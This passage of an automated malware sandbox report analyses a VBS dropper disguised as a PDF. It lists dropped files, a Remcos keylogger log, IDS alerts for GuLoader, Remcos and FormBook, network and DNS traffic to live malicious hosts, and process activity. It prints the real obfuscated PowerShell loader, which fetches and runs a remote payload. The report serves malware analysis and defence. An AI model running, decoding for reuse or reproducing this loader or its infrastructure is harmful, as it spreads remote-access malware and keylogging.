C:\Windows\System32\svchost.exe

File Type:ASCII text, with very long lines (65536), with no line terminators

Copyright Joe Security LLC 2023

Page 24 of 57

Category:

droppedSize (bytes):

407024

Entropy (8bit):

5.9675070639380055

Encrypted:

false

SSDEEP:

12288:y8KB3LRjrSGbXEN7hp/1pfSUbXyYx4AFZ:SRr9bXKp/1pfS8ynA/

MD5:

F4CE3920EBE3BBE1E311D09BD812BDC5SHA1:

29CA1D4E0837F4EB904F498E5484ED7D3ABF747D

SHA-256:

95CD49337410215B5328BDFEEDBBC7F4D3F380D090DADF54E67C1506C7F61467

SHA-512:

F83692345D91C8FB4643F112B70FABEA50336746F5454F13F95EA742473E1E59AC2B621B85A39B59665504954835B7BD9234F6922E31204B2D77AD1E0548373F

Malicious:

false

Preview:cQGbcQGbuxx6FQBxAZvrAovlA1wkBHEBm3EBm7lMAU9a6wI/PnEBm4HxJR8OhOsCHfvrAg1ZgcGX4b4h6wIe5+sCD0ZxAZtxAZu6cuL6bHEBm+sCjejrApxv
cQGbMcpxAZvrAvqfiRQLcQGbcQGb0eLrAkqNcQGbg8EE6wIpEHEBm4H5pLhmAnzM6wLiGnEBm4tEJATrAgBp6wID5YnD6wKGvHEBm4HDqLgEAnEBm3EBm7o6
q6Zi6wLs0nEBm4HCB5OUAXEBm3EBm4HqQT47ZHEBm+sC8YLrAgxD6wJux3EBm+sCc4GLDBDrAmkZ6wL8V4kME3EBm+sCzCFCcQGbcQGbgfoMYgQAddVxAZtx
AZuJXCQM6wLnDusC4LKB7QADAABxAZvrAovCi1QkCHEBm3EBm4t8JARxAZtxAZuJ63EBm3EBm4HDnAAAAOsCsm1xAZtT6wJBu3EBm2pAcQGbcQGbietxAZvr
AlqRx4MAAQAAAEB/AusCIvPrAo8igcMAAQAAcQGb6wJ7Q1NxAZtxAZuJ63EBm3EBm4m7BAEAAHEBm3EBm4HDBAEAAHEBm3EBm1PrAsUucQGbav/rAqz3cQGb
g8IFcQGb6wKqnDH2cQGbcQGbMcnrAkCa6wLVTYsacQGbcQGbQesC7dfrAnihORwKdfJxAZtxAZtG6wLYeusCjA+AfAr7uHXc6wKHq3EBm4tECvxxAZvrAugJ
KfDrAmvq6wKKsP/S6wIeUnEBm7oMYgQAcQGbcQGbMcBxAZtxAZuLfCQM6wKTOXEBm4E0B20iLiVxAZvrAmNOg8AEcQGbcQGbOdB15XEBm+sC8HeJ++sCiGvr
AqEU/9dxAZvrAv4X6d2r/uTHr8kBYfgn7OZCZbsge6yIm4QtRTWv1AkkiyHs03WwhbyvzBC5S6js2cQE1R2r56pmIyXt3khsVOkW/+xWIyWEpY5P7FYjJVpzfMdV169RYC
JwD/njp7gOIC4l1tpwYIFEF/VV+q/m

C:\Users\user\AppData\Roaming\BIT6AA.tmp
Process:

C:\Windows\System32\svchost.exe

File Type:ASCII text, with very long lines (65536), with no line terminators

Category:

droppedSize (bytes):

354788

Entropy (8bit):

5.964760635708712

Encrypted:

false

SSDEEP:

6144:Q9QV3WmxUsFeU1IxrcLbe4lBYBA/nvqeRGCWMpU75wiccfW19M0:DGmxXF11Je3BAxRTW7QcD0

MD5:

E8CD417AB057225595D3641EB55B899E

SHA1:

41B28EBA8B33C77F3F15EC75B3A6ABBE4179C325

SHA-256:

CBF25B76F16B5FD0A01ECF8AC275B5B9E6374881794B6CCEC9F72D6DE5E64BF6

SHA-512:

DD0AC5180C42A9382A8EC6C4761A95C218C5FFE1985230F063A9F81139063FB708A8F3F54112AFF036C28B6D53A8D6F886D1DA09206FF0DA6840CD6DF71C4843

Malicious:

false

Preview:cQGbcQGbu9dCFwDrAk1PcQGbA1wkBOsC6MFxAZu5f6F6PusCdtnrAlHzgcF/KWTecQGbcQGbgen+yt4ccQGbcQGbcQGb6wIz4rpS6Got6wJmhXEBm3EBm+sC
hc8xyusCJxXrAoW+iRQL6wKyxusCs3HR4nEBm+sC/LmDwQRxAZtxAZuB+enP7AF8yusCoAJxAZuLRCQE6wIWYesCdAqJw3EBm+sC3qeBwx0FfQDrAlPF6wKE
obph/jZY6wKAxusCsE+B8qnblH1xAZtxAZuBwjjaXdrrAnlH6wIGpOsCEIpxAZtxAZvrAomviwwQ6wL+k+sC3+qJDBNxAZtxAZtC6wKTjXEBm4H6zMkDAHXV6wJOPnEBm4
lcJAzrAghscQGbge0AAwAAcQGb6wIjV4tUJAjrAgD0cQGbi3wkBOsCQQrrAgMNietxAZvrAoTUgcOcAAAAcQGb6wJcg1NxAZvrAiPnakDrAlRlcQGbietxAZvrAiD0x4MA
AQAAACAHAusCw2frAmkvgcMAAQAA6wJm4esCQyxT6wJ7F+sC/XeJ6+sClP3rAmGIibsEAQAA6wJeFesCvAaBwwQBAABxAZtxAZtTcQGb6wLKrGr/6wJD3nEB
m4PCBesCFBTrAlA4MfbrAquK6wJAwDHJcQGbcQGbixrrApnUcQGbQesC4ynrAkJ8ORwKdfLrAupr6wKub0ZxAZvrAsTHgHwK+7h123EBm+sC5CaLRAr8cQGb
6wKZrCnwcQGb6wJO2P/S6wIw63EBm7rMyQMA6wJwGHEBmzHA6wJp9nEBm4t8JAzrAro26wIsk4E0B/pM4zJxAZtxAZuDwATrAkJVcQGbOdB15XEBm+sC6G6J+3EBm3EBm//XcQGb6wIkn8Kfhbc5Ktrwc6kkd357sktOzY6215yWOHs5Z8Hm8SGzl8gaqEQkr823yJbIr8UGVH+HWoQE7uG3KM0STrpilpp1zSLPMeNmszsdlvH4uiTZnH
Uh9b5B44zW

C:\Users\user\AppData\Roaming\aqloespt.dat
Process:

C:\Program Files (x86)\Windows Mail\wab.exe

File Type:data

Category:

droppedSize (bytes):

640

Entropy (8bit):

3.327661846949924

Encrypted:

false

SSDEEP:

12:KlrlobecmlrloNbWFe5ElrloXlrloHAbWFe5ElrloPbZlrloPPbWFe5Elrlo+NQ8:++KcS+RWqM+1+H0WqM+/+rWqM+IQ0+o5

MD5:595E74087CC62E1071BC5BB74B3F8ADB

SHA1:5BF8F1839A42FE52EA74B05CAD1B2948B93108E1

SHA-256:

CFF629965ED841FF7D55F0688FA05C9C82FDB5334606F477F4C1E39CDF14251C

SHA-512:8052C44EAAED3B834DBEF5D7BAAD4627AA1FA287A3F5C2F1BAA050692FC39C424E838C86152EB0E48CD12EE0AD2A0994AFA985049E7223666FFDE2AA20B50
C6D

Malicious:true

Yara Hits:
Preview:

Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Roaming\aqloespt.dat, Author: Joe Security....[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.2.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.2.2. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....
[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.3.0. .R.u.n.].........[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.3.6. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.5.4. .R.u.n.
].........[.2.0.2.3./.1.2./.1.1. .0.9.:.4.2.:.5.7. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.3./.1.2./.1.1. .0.9.:.4.3.:.0.3. .R.u.n.].........[.2.0.2.3./.1.2./.1.1. .0.9.:.4.3.:.0.8.
.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

Copyright Joe Security LLC 2023

Page 25 of 57

Static File Info
GeneralFile type:

ASCII text, with CRLF line terminators

Entropy (8bit):

4.948402742485052

TrID:
File name:doc129178202003180817410122023_pdf_(991KB).vbs

File size:

388'052 bytes

MD5:72374f583680c8c07060362ad6f8280f

SHA1:

bff6c75fb6b04bfb630711aca60f3c4e8eba3288

SHA256:77824c92761c8231033bf6fe8d0cf68a93f9444ae502b3aee1a21ea82e5f022d

SHA512:8ae29be517f9c00798009b4bdad5d6376c1034e9cebd75b37746f7557b4856b66d8e3ef288de9a81cb68f8b0aa581aaacb426acc13cc0cad13bef57b92fe1e2f

SSDEEP:

6144:9cXdNICh3iZW7hi9dPdljWLNN7CzTTJ5nx9ATK/KQA7tgUxPFmnH0lgGMKfk:9cXzIWIT6NVpKSmw9mGgiM

TLSH:

E1846DA1EF58161D0D4B3BEADC424C91C5BDC12A5927112AFEED13CEA10B95CD3BEB09

File Content
Preview:..'Forraadnelsers Phosphatising heptace..'Gombeen Lomentaria Udkommenter..'Intimidationer Oxytylote Blserorkestrene Brianna1 Replicerer..'Frugttrers Skyggelgningen
Unulcerously Avowed..'Nonoptionally hvler Monaulos Guelphism..'Tikronesedlers134 Hjisolere

File Icon

Icon Hash:

68d69b8f86ab9a86

Network Behavior
Snort IDS Alerts
Timestamp

Protocol

SID

Message

Source
Port

Dest
Port

Source IP

Dest IP
172.93.120.1
90

192.168.2.5172.93.120.19 TCP
049717802855192
12/11/2309:42:21.848292

285519 ETPRO TROJAN GuLoader Encoded Binary Request M2
2

49717

80

192.168.2.5

85.209.176.69192.168.2.5 TCP
57484497182032777
12/11/2309:42:24.018018

203277 ET TROJAN Remcos 3.x Unencrypted Server Response
7

57484

49718

85.209.176.6 192.168.2.5
9192.168.2.5192.185.129.4 TCP
449729802855464
12/11/2309:43:46.557469

285546 ETPRO TROJAN FormBook CnC Checkin (POST) M3
4

49729

80

192.168.2.5

192.185.129.
44

192.168.2.594.46.180.554 TCP
9726802855192
12/11/2309:42:55.666542

285519 ETPRO TROJAN GuLoader Encoded Binary Request M2
2

49726

80

192.168.2.5

94.46.180.55

192.168.2.5192.185.129.4 TCP
449728802855464
12/11/2309:43:42.555972

285546 ETPRO TROJAN FormBook CnC Checkin (POST) M3
4

49728

80

192.168.2.5

192.185.129.
44

192.168.2.585.209.176.69 TCP
49718574842032776
12/11/2309:42:23.673781

203277 ET TROJAN Remcos 3.x Unencrypted Checkin
6

49718

57484

192.168.2.5

85.209.176.6
9

Network Port Distribution

Total Packets: 41• 5380 (DNS)• (HTTP)
Copyright Joe Security LLC 2023

Page 26 of 57

TCP Packets
Timestamp

Source Port

Dest Port

Source IP

Dest IPDec 11, 2023 09:41:46.718787909 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:46.864212990 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:46.864356041 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:46.864677906 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.010255098 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.010725021 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.062768936 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.116137028 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.263456106 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263482094 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263493061 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263583899 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263645887 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.263691902 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263715982 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.263804913 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263837099 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263864994 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.263921976 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.263982058 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.264045000 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.264122009 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.264192104 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.410392046 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410417080 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410432100 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410487890 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410521030 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.410546064 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410567999 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.410617113 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410667896 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.410712004 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410804987 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410860062 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.410880089 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.410947084 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411001921 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.411015034 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411077976 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411135912 CET

49708

80

192.168.2.5

172.93.120.190

Copyright Joe Security LLC 2023

Page 27 of 57

Timestamp

Source Port

Dest Port

Source IP

Dest IPDec 11, 2023 09:41:47.411139965 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411191940 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411242962 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.411269903 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411338091 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411389112 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.411402941 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411490917 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411546946 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.411653996 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411705017 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.411750078 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.556093931 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556195974 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556235075 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556337118 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556380987 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.556427002 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.556714058 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556780100 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556844950 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.556893110 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.556972980 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557029009 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557079077 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557121992 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557178974 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557218075 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557348013 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557406902 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557430983 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557502985 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557559967 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557575941 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557643890 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557707071 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557761908 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557878017 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.557934999 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.557976961 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558051109 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558120012 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558156967 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558193922 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558245897 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558295965 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558382034 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558438063 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558485985 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558557034 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558614016 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558667898 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558756113 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558794022 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558814049 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558896065 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.558953047 CET

49708

80

192.168.2.5

172.93.120.190

Dec 11, 2023 09:41:47.558993101 CET

80

49708

172.93.120.190

192.168.2.5

Dec 11, 2023 09:41:47.559063911 CET

80

49708

172.93.120.190

192.168.2.5

Copyright Joe Security LLC 2023

Page 28 of 57

UDP Packets
Timestamp

Source Port

Dest Port

Source IP

Dest IPDec 11, 2023 09:41:46.584446907 CET

53733

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:41:46.717236042 CET

53

53733

1.1.1.1

192.168.2.5

Dec 11, 2023 09:42:24.285293102 CET

52215

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:42:24.447092056 CET

53

52215

1.1.1.1

192.168.2.5

Dec 11, 2023 09:42:34.399060965 CET

63698

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:42:35.141197920 CET

53

63698

1.1.1.1

192.168.2.5

Dec 11, 2023 09:43:17.453361034 CET

50929

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:43:17.773741961 CET

53

50929

1.1.1.1

192.168.2.5

Dec 11, 2023 09:43:33.474225044 CET

55926

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:43:33.982620955 CET

53

55926

1.1.1.1

192.168.2.5

Dec 11, 2023 09:43:42.032493114 CET

55578

53

192.168.2.5

1.1.1.1

Dec 11, 2023 09:43:42.358349085 CET

53

55578

1.1.1.1

192.168.2.5

DNS Queries
Timestamp

Source IP

Dest IPTrans ID

OP Code

Name

Type

Class

DNS overHTTPS

Dec 11, 2023 09:41:46.584446907
CET

192.168.2.5

1.1.1.10x8569Standard query(0)

alotropia.sa.com

A (IP address)

IN (0x0001)

false

Dec 11, 2023 09:42:24.285293102
CET

192.168.2.5

1.1.1.1

0x1a4eStandard query(0)

geoplugin.net

A (IP address)

IN (0x0001)

false

Dec 11, 2023 09:42:34.399060965
CET

192.168.2.5

1.1.1.1

0xa279Standard query(0)

ecox.pt

A (IP address)

IN (0x0001)

false

Dec 11, 2023 09:43:17.453361034
CET

192.168.2.5

1.1.1.1

0xc02bStandard query(0)

www.66nong.com

A (IP address)

IN (0x0001)

false

Dec 11, 2023 09:43:33.474225044
CET

192.168.2.5

1.1.1.10x8059Standard query(0)

www.liangy
uen528.com

A (IP address)

IN (0x0001)

false

Dec 11, 2023 09:43:42.032493114
CET

192.168.2.5

1.1.1.10xe83cStandard query(0)

www.nasyoe
astasia.org

A (IP address)

IN (0x0001)

false

DNS Answers
Timestamp

Source IP

Dest IPTrans ID

Reply CodeName

Dec 11, 2023
09:41:46.717236042
CET

1.1.1.1

192.168.2.5

0x8569No error (0)Dec 11, 2023
09:42:24.447092056
CET

1.1.1.1

192.168.2.5

0x1a4eDec 11, 2023
09:42:35.141197920
CET

1.1.1.1

192.168.2.5

Dec 11, 2023
09:43:17.773741961
CET

1.1.1.1

Dec 11, 2023
09:43:33.982620955
CET

CName

DNS over
HTTPS

Address

Type

Class

alotropia.
sa.com172.93.120.19
0

A (IP address)

IN(0x0001)

false

No error (0)geoplugin.net

178.237.33.50

A (IP address)

IN(0x0001)

false

0xa279No error (0)ecox.pt

94.46.180.55

A (IP address)

IN(0x0001)

false

192.168.2.5

0xc02b

No error (0)www.66nong.com

134.73.180.20
7

A (IP address)

IN(0x0001)

false

1.1.1.1

192.168.2.50x8059Server failure(2)

www.liangy
uen528.com

none

none

A (IP address)

IN(0x0001)false

Dec 11, 2023
09:43:42.358349085
CET

1.1.1.1

192.168.2.5

0xe83cNo error (0)www.nasyoe
astasia.org

nasyoeastasia.
org

CNAME
(Canonical
name)

IN
(0x0001)false

Dec 11, 2023
09:43:42.358349085
CET

1.1.1.1

192.168.2.5

0xe83cNo error (0)nasyoeasta
sia.org

A (IP address)

IN(0x0001)

false

192.185.129.4
4

HTTP Request Dependency Graph

Copyright Joe Security LLC 2023

Page 29 of 57

alotropia.sa.com

geoplugin.net

ecox.pt

www.66nong.com

www.nasyoeastasia.org

Statistics
Behavior• wscript.exe• powershell.exe• conhost.exe• cmd.exe• powershell.exe• cmd.exe• svchost.exe• wab.exe• wab.exe• wab.exe• wab.exe• wab.exe• wscript.exe• powershell.exe• conhost.exe• cmd.exe• wab.exe• wab.exe• VcdsjmiOSutUKwauEhOKSW.exe• winver.exe• firefox.exe
Click to jump to process

System Behavior
Analysis Process: wscript.exe

PID: 6464, Parent PID: 1028

GeneralTarget ID:

0

Start time:

09:41:33

Start date:

11/12/2023

Path:

C:\Windows\System32\wscript.exe

Wow64 process (32bit):false

Commandline:

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\doc129178202003180817410122023_pdf_(991KB).vbs"

Imagebase:

0x7ff778270000

File size:

170'496 bytes

MD5 hash:

A47CBE969EA935BDD3AB568BB126BC80

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:high

Has exited:true

Copyright Joe Security LLC 2023

Page 30 of 57

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path

AccessFile Path

OffsetAttributes

Length Value

File Path

Ascii

OffsetAnalysis Process: powershell.exe

Options

Completion

Completion

LengthCompletion

Count

Source Address

SymbolCount

Source Address

SymbolCount

Source Address

Symbol

PID: 5968, Parent PID: 6464

GeneralTarget ID:

2

Start time:

09:41:36

Start date:

11/12/2023

Path:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):false

Commandline:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Beregneras ([String]$Shamsd){$Begrudgeme = 5;For($Perryrearw=4; $Perryrearw lt $Shamsd.Length-1; $Perryrearw+=$Begrudgeme){ $Bibli4 = $Shamsd.Substring($Perryrearw, $Snaprep); $Bibli=$Bibli+$Bibli4; }$Bibli;}$Snaprep = (cmd /c'echo 1 && exit');$Bibli01=Beregneras 'DansiGradeAntixLens ';$Bibli02=Beregneras 'AbsoTPensrHarpa Bonn Spes Absf FreeForbrmontrKurtiBuernprimg Ing';$Surmul = Beregneras ' Ign\NoncsMarmyNonas PakwPreho MagwSulk6Soci4 Arv\ UneWconciPrinnKulldHannononnwSubesSaniPLecyoSvamwAutoeSkolrgi
nnSLacoh InkeDystl Abil Ant\mennv Pla1Inte.Kigh0Slgt\UnerpMisdoBedswAfteebenerProwsNedbhNavnePhenlExeclBecl. krge TabxArtieDamm ';function Delege($Grat){. ($Bibli01) ($Grat);}$Skkelu=Beregneras 'SlanhGenltOutrtTrawpGino:Rece/Ebra/streaTrialRegeoAnapt MisrSkynoKaripAwariCarba Ned.Prims Far
aVatt.StabcKryboUndemFone/Wron.CheiwIntre GrulhjtilSump-NonukResun SkuoAnthwFinin Sti/HierkroaczBiod/ForwS Svel AlvaLandaUpap. SteuGenn3 Ove
2Rere ';Delege (Beregneras 'Alko$Stjsg PlalRevioLighb FejaHanhl Apo: ChyBTownaaftel Sona MelnCullcNegl2Rhin=drne$TulieLacqnRativSuck: FjowDi
sriCirknAfladQuoki Ainr Sha ') ;Delege (Beregneras 'Fore$misagToill AstoSvrhbConfaKonrlMuli: AnmBOlivaRoqulOveraTilsnNonpcDika6Pole=Gimc$ ErgB Tria
anelHamsa LiknAmphcStru2Enqu+Unso$SmugSChriu BryrComfmRhynuhalvlPubl ') ;Delege (Beregneras 'Kodi$Proeg FrolStuboJustbPaddaBegolTrop:DigiBWeekaPreulBavnaPaulnSvigcVanr3 Fas Unqu= Kon Indi(Pseu( CergKultw MismMagei Wor GfmrwUngriIntenAfso3Adno2Blte_ IndpKnhjrDictoLykscHnge
eStivsLsgasDrej Prin-SkraFSval undePSpecrBroaoIsolcBurre CersIants UdsIParadMark= For$Kash{ HypPMollI AndDPejs}Alfa)Sane.thinC KrsoRegim Tin
mFlacaSporn TradGenoLGidsiReminCogoeStep)Unpr Tale-HerrsskydpReallPneuiNonptPatr Sori[ undcNonshOutca ButrSord]Fjer3unti4 Kam ');Delege (Beregneras 'Perc$ Untgfloploutwo Taib SliaLrevlSuda:RetnBByzoaBennlFussaventnMonocImma4Ilia Mosl=Milj Dser$VaadBPureaTabulStamaAggrnPhytcCloc3A
bso[Slug$ PosB HrvaEposlLameaTanznBgescKlin3Kosm. RhocLuxuo Paru EgenAlsttActu- Bri2Rese]Sten ');Delege (Beregneras 'Konv$CapsgOplslSupeoPatubCona UdglAksi:HurlBCeliaFulwl AeraForgnRosecAuto5magn=Coun(HvedTOvereApplsKyant you-KejsP YamaHyret LachMicr Hobb$SpilBNasaaNonplMillaDil
onDiescPuls6Chok)visc Jus-undeABeronHelsd Tri Bisp( Uha[DyreI RetnCadetCompPKaartArverEmbr]Bati: vil:HistsCaroiDrftzMooneLykk Kold-NedfeUpstqLder
Vol8Syrl)fors ') ;if ($Balanc5) {&$Balanc6 $Balanc4;} else {;$Bibli00=Beregneras 'haft$ AltgTheolUrefo TegbHistaLittlLiar:StraBIdetaSodalScreaDear
nSkrdcDile8 Slv Rdsk=Glen StifSAstetPlataLinjrGodtt fan-LnreB Fili DestHelds IndT SenrUnhaaReabnDelesBeauf unmefrihr Myg punt-CestS KoeoBoge
uBanarMelac FinePunt Grad$DungSgnatkKnapkConveKnoclfattuBest Vilj- EneDSmigeFllesBarbtVestiPrefnAnlgaPopptBoliiTantoEntanNatk Gisf$PursBAnol
adoktlcaixaFeltn ForcBoli2Neda ';Delege (Beregneras 'Fost$ FlugcocclOphjoOmvebFilma MaglOogl:moteBembuaUnprlEmdeaKronn SkocChon2Magn=Cori$Fr
eneGemenMiksvKons:InfiaGodgpMetrpUnjodMilja TratAfslaKryp ') ;Delege (Beregneras 'PhocILongmplejpBlgfoOplyrTragtnona- HaaM Coao NondIrrauTel
elOptaeBakk RalpB ViriintetFidisInlaTIndsr DamaVaadn Abbs BenfrigseGyrarCasu ') ;$Balanc2=$Balanc2+'\Celadonp.Ion' ;Delege (Beregneras 'Salv$ VisgZone
lbidroDefebSubiadrejlTran:DeneBMicraSspelVegea Udsn Stecfors7 Dec=Tang(ProgT ForeCoalsfolktFred- MacPModea Sert DruhForg Ele$LeksBColuaFler
lTuriaRiflnOutfcAlmi2Abel)Agno ') ;while (-not $Balanc7) {Delege (Beregneras 'BumwIUnbrf Sub Indp(Till$EpisBsphea DunlStataKursnBlancGhaz8Vejr.NaolJTi
rroHypobInteSRikat kamaVasktDisseTviv unb-NoveeFinaqUdda Fors$uhjlBVanmiUnclbIntelEksti lem0 non2Mili)Path All{BeskS BlatUvenahjrnrbulgtSnifCentSSardlEgneeManie KompArbi Dryp1Morf}AbeneSkablPenls Slae Und{NoneSAflytSendaUnfrrgutttButb-MicrSAxmal RupeMafieUmbrp Nut sknh1Unde;Kr
